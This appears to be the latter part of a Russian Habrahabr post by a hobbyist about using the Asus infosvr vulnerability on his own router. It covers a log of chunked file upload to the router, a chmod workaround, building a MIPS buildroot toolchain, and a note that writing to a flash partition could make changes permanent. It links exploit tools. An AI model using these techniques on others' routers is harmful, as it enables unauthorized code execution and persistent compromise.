ש192.168.1.1: OK 78.7% 145.0 Bps part 165 (48 B; cmd: 235 ch) ש192.168.1.1: OK 79.2% 148.1 Bps part 166 (48 B; cmd: 235 ch) ש192.168.1.1: OK 79.7% 176.5 Bps part 167 (48 B; cmd: 235 ch) 192.168.1.1: OK 80.1% 121.5 Bps part 168 (48 B; cmd: 235 ch) שש192.168.1.1: OK 80.6% 145.5 Bps part 169 (48 B; cmd: 235 ch) שש192.168.1.1: OK 81.1% 144.6 Bps part 170 (48 B; cmd: 235 ch) ששLOST 81.1% 31.7 Bps part 170 (48 B; cmd: 235 ch) 192.168.1.1: OK 81.6% 417.4 Bps part 171 (48 B; cmd: 235 ch) שש192.168.1.1: OK 82.1% 144.6 Bps part 172 (48 B; cmd: 235 ch) שש192.168.1.1: OK 82.5% 182.5 Bps part 173 (48 B; cmd: 235 ch) 192.168.1.1: OK 83.0% 119.4 Bps part 174 (48 B; cmd: 235 ch) ש192.168.1.1: OK 83.5% 139.5 Bps part 175 (48 B; cmd: 235 ch) 192.168.1.1: OK 84.0% 145.9 Bps part 176 (48 B; cmd: 235 ch) 192.168.1.1: OK 84.4% 145.9 Bps part 177 (48 B; cmd: 235 ch) 192.168.1.1: OK 84.9% 142.0 Bps part 178 (48 B; cmd: 235 ch) 192.168.1.1: OK 85.4% 150.5 Bps part 179 (48 B; cmd: 235 ch) ש192.168.1.1: OK 85.9% 150.0 Bps part 180 (48 B; cmd: 235 ch) ש192.168.1.1: OK 86.3% 142.0 Bps part 181 (48 B; cmd: 235 ch) ש192.168.1.1: OK 86.8% 143.7 Bps part 182 (48 B; cmd: 235 ch) שש192.168.1.1: OK 87.3% 147.7 Bps part 183 (48 B; cmd: 235 ch) ש192.168.1.1: OK 87.8% 141.6 Bps part 184 (48 B; cmd: 235 ch) LOST 87.8% 32.0 Bps part 184 (48 B; cmd: 235 ch) 192.168.1.1: OK 88.2% 355.6 Bps part 185 (48 B; cmd: 235 ch) ש192.168.1.1: OK 88.7% 149.1 Bps part 186 (48 B; cmd: 235 ch) שש192.168.1.1: OK 89.2% 140.4 Bps part 187 (48 B; cmd: 235 ch) ש192.168.1.1: OK 89.7% 147.2 Bps part 188 (48 B; cmd: 235 ch) ש192.168.1.1: OK 90.1% 148.1 Bps part 189 (48 B; cmd: 235 ch) ש192.168.1.1: OK 90.6% 144.1 Bps part 190 (48 B; cmd: 235 ch) LOST 90.6% 32.0 Bps part 190 (48 B; cmd: 235 ch) 192.168.1.1: OK 91.1% 406.8 Bps part 191 (48 B; cmd: 235 ch) 192.168.1.1: OK 91.6% 142.9 Bps part 192 (48 B; cmd: 235 ch) 192.168.1.1: OK 92.0% 148.1 Bps part 193 (48 B; cmd: 235 ch) ש192.168.1.1: OK 92.5% 144.6 Bps part 194 (48 B; cmd: 235 ch) ש192.168.1.1: OK 93.0% 147.2 Bps part 195 (48 B; cmd: 235 ch) ש192.168.1.1: OK 93.5% 144.1 Bps part 196 (48 B; cmd: 235 ch) ש192.168.1.1: OK 94.0% 147.7 Bps part 197 (48 B; cmd: 235 ch) שש192.168.1.1: OK 94.4% 145.9 Bps part 198 (48 B; cmd: 235 ch) שש192.168.1.1: OK 94.9% 174.5 Bps part 199 (48 B; cmd: 235 ch) 192.168.1.1: OK 95.4% 123.4 Bps part 200 (48 B; cmd: 237 ch) 192.168.1.1: OK Merging to /var/ldd parts 101..116 (16 pcs; cmd: 229 ch)… OK (5586 B) Merging to /var/ldd parts 117..132 (16 pcs; cmd: 238 ch)… OK (6354 B) Merging to /var/ldd parts 133..148 (16 pcs; cmd: 238 ch)… OK (7122 B) Merging to /var/ldd parts 149..164 (16 pcs; cmd: 238 ch)… OK (7890 B) Merging to /var/ldd parts 165..180 (16 pcs; cmd: 238 ch)… OK (8658 B) Merging to /var/ldd parts 181..196 (16 pcs; cmd: 238 ch)… OK (9426 B) Merging to /var/ldd parts 197..200 (4 pcs; cmd: 71 ch)… OK (9618 B) Written 9.39KB/9.85KB 92.9 Bps (avg) Remaining: 00:05 (01:54/01:59)
95.9% 4.9 Bps part 201 (49 B; cmd: 237 ch) 192.168.1.1: OK 96.4% 146.7 Bps part 202 (49 B; cmd: 237 ch) 192.168.1.1: OK 96.8% 155.6 Bps part 203 (49 B; cmd: 237 ch) שש192.168.1.1: OK 97.3% 142.9 Bps part 204 (49 B; cmd: 237 ch) 192.168.1.1: OK 97.8% 153.1 Bps part 205 (49 B; cmd: 237 ch) LOST 97.8% 32.7 Bps part 205 (49 B; cmd: 237 ch) 192.168.1.1: OK 98.3% 388.9 Bps part 206 (49 B; cmd: 237 ch) ש192.168.1.1: OK 98.8% 148.5 Bps part 207 (49 B; cmd: 237 ch) 192.168.1.1: OK 99.3% 144.5 Bps part 208 (49 B; cmd: 237 ch) 192.168.1.1: OK 99.8% 151.2 Bps part 209 (49 B; cmd: 237 ch) ש192.168.1.1: OK 100.0% 75.3 Bps part 210 (25 B; cmd: 143 ch) שש192.168.1.1: OK Merging to /var/ldd parts 201..210 (10 pcs; cmd: 145 ch)… OK (10084 B) Written 9.85KB/9.85KB 78.7 Bps (avg) Remaining: 00:00 (02:00/02:00)
Finished. File size on target is 9.85KB. Working time: 02:00 (120 sec)
///*** много-много подобных строк — ПЕРЕДАЧА ЧАСТЕЙ ФАЙЛА ***///
///*** много подобных строк — ОБЪЕДИНЕНИЕ ПЕРЕДАННЫХ ЧАСТЕЙ ФАЙЛА ***///
///*** много-много-много строк — ПРОХОДИТ НЕСКОЛЬКО ЦИКЛОВ ***///
Как известно, в Linux чтобы запустить файл на исполнение надо установить ему соответствующие разрешения. Проблемка в том, что на роутере не оказалось chmod (помните про сильно урезанный busybox?). Но ничего. Это можно обойти:
Profit! Мы только что загрузили на роутер свой исполняемый файл, и он работает! Хотя погодите… А где мы его взяли, файл этот?
Как получить исполняемые файлы для своего роутера
# cat /proc/cpuinfo system type: RTL8196C processor: 0 cpu model: 52481 BogoMIPS: 389.12 tlb_entries: 32 mips16 implemented: yes #
Можно, конечно, даташит поискать и в нём найти эту информацию… А если он недоступен? А если есть разные модификации? Самый верный способ — посмотреть на то, что уже работает.
Перекидываем полученный файл на машину с Линуксом. Теперь можно посмотреть заголовок:
Теперь всё ясно: MIPS-1, Big endian.
Собираем тулчейн для нашего роутера
Вот мой скрипт-памятка (выбирайте конфигуратор по вкусу):
На шаге make *config настраиваем тулчейн.
Можно больше ничего не настраивать. А можно ещё много чего настроить: включить поддержку C++ и других языков, статическую компоновку (у меня ничего хорошего с этого не вышло), выбрать компилируемые под целевую архитектуру приложения, апплеты busybox, версии библиотек и т.п.
После настройки выбираем Exit, соглашаемся с сохранением новой конфигурации и… make. Сборка займёт продолжительное время, в зависимости от того, что вы там в настройках понавыбирали (У меня при настройке только архитектуры целевого процессора сборка на VM Ware заняла немногим более полу часа. Замерял так: ). Можно параллельно собирать, но не с помощью -jN. Руководство гласит:
Toolchain готов
Наконец, по прошествии xx минут тулчейн собрался полностью и без ошибок. Можно использовать. GCC для роутера будет по пути ./buildroot-2014.11/output/host/usr/bin/mips-linux-gcc (симлинк на mips-buildroot-linux-uclibc-gcc). Для начала напишем примитивную программку, скомпилируем, зальём на роутер, выставим разрешение на исполнение (трюк, показанный ранее) и запустим:
Теперь можно писать свои программы для роутера, учитывая ограниченность ресурсов и возможности библиотек, которые есть на роутере.
Но вместе с тулчейном собрались и некоторые бинарники на целевую платформу! Лежат они здесь: ./buildroot-2014.11/output/target/ bin | sbin | usr/bin | usr/sbin. Я перепробовал многие из них (в menuconfig настроил сборку множества дополнительных приложений). Те, которые оказались рабочими и показались полезными сохранил отдельно (может когда-то понадобятся).
Повышаем комфорт
Теперь скорость приличная и можно легко загружать даже «увесистые» файлы. Но не увлекайтесь. Не забывайте, что /var и /tmp (который на самом деле /var/tmp) — это оперативная память роутера. Если вы полностью её забьёте — роутер перестанет отвечать (или вообще зависнет). В этом случае придётся его перезагрузить вручную. Контролируйте свободную память при помощи free.
Кстати, когда я искал netcat под Windows, то наткнулся на «netcat 21-го века». Он гораздо богаче функционалом, чем обычный netcat. Для нашего случая очень полезной оказалась опция —send-only (разорвать соединение сразу после передачи).
Что ещё можно сделать?
# mount rootfs on / type rootfs (rw) /dev/root on / type squashfs (ro,relatime) proc on /proc type proc (rw,relatime) ramfs on /var type ramfs (rw,relatime) # # cat /proc/partitions major minor #blocks name
Я как-то неосторожно что-то перенаправил в /dev/mtdblock2. Оно записалось. Роутер работал. Потом, когда я решил его перезагрузить — он не загрузился. Посмотрев, что выдаётся на UART я понял, что всё-таки повредил прошивку. Роутер загрузился в режиме восстановления (именно с этим режимом работает утилита Asus Firmware Restoration).
Сам факт повреждения прошивки в работающем роутере, говорит о том, что используя уязвимость можно менять её. Тогда изменения на роутере будут перманентными, а не только до перезагрузки, как было до сих пор. Но на исследование этого у меня нет ни времени, ни желания.
Исходники AsusRouterTools, а также бинарники под Windows можно найти в репозитории на GitHub.
З.Ы. Раз уж разобрались с infosvr, почему бы не использовать его ещё и по назначению? AsusDiscover — это единственное, что продолжит работать после установки прошивки с устраненной уязвимостью.
P.S. Это моя первая публикация, поэтому буду рад любым советам и замечаниям как по поводу статьи, так и по поводу программного кода.
P.P.S. Немножко негодования: Хабрахабру стоит добавить к интерфейсу написания статьи защиту от случайной публикации. Как-то я нажал Enter — и сработала кнопка «Опубликовать». Нужно же добавить либо какой-то предохранительный чекбокс, либо переспрашивать перед публикацией, либо давать возможность тут же отозвать отправку на публикацию. Да ещё и большая такая… Можно промахнуться и тыкнуть её вместо «Предпросмотра». Почему так не продумано?
UPD: Совместными усилиями с читателями (@a553), в эксплоитах исправлены ошибки, приводящие к падению при получении ответа от некоторых роутеров. Подробнее в этом комментарии.